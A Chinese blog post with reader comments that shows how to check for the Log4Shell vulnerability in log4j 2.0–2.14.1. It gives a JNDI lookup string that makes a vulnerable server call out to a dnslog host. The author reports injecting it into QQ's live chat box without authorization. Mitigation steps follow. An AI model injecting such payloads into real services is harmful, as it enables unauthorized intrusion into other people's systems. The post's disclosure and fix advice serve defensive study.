本文仅供学习使用,切勿用于违法犯罪。
本文尝试利用该漏洞使远程服务器请求 dnslog 中随机生成的网址,并验证执行结果。
也希望各家平台可以尽快修复此漏洞。
漏洞影响范围
2.0 <= Apache log4j <= 2.14.1
验证方式
获取随机子域名
进入 dnslog 网站,获取一个随机子域名,如下图:
构造特殊字符串
使用获取的随机子域名构造如下字符串。
${jndi:ldap://317g7w.dnslog.cn/exp}
在候选程序中注入该字符串
可注入位置例如网站搜索框、登录框、聊天框等。
本文于 2021.12.10 20:55:05 尝试在 QQ 聊天框中输入该字符串。
刷新请求日志
如下图,可以看到有一台服务器请求了随机生成的子域名,且确定该 IP 属于腾讯云,因此可以认为 QQ 中目前存在这一远程代码执行漏洞。
修复建议
因为本人并未从事安全方面的工作,因此此建议搬运并总结于其他大佬的文章。
- 升级 log4j 至 2.14.1 以上,例如 2.15.0-rc2 及以上(听说 rc1 并不安全,原因需自行搜索)
- 对于 2.10 及以上的版本,考虑添加参数
-Dlog4j2.formatMsgNoLookups=true
,详情可见org.apache.logging.log4j.core.pattern.MessagePatternConverter.format
qq直接输入dnslog的连接也会有回显信息,这会不会是某种检测机制
也有这种可能的,之前漏洞爆发的时候,好像社区发现确实是一种远程执行的漏洞,只不过想轻松确认是否远端机器存不存在这种漏洞的方法就是给一个固定 IP 发个请求。
学习了
感谢分享 赞一个
感谢感谢,欢迎常来呦 ~ ヾ(^▽^*)))
Pingback,好久没有接触ACM了,不过走进千千博客看到的却是熟悉的log4j,搞信安的学弟祝千千在ECNU的其他AI比赛取得好成绩~
哇,一起加油加油~ 祝夺旗次次顺利~|´・ω・)ノ
qq一声不吭背着我研究 log4j,记住了
呜呜呜,咋回事,我就好奇看一看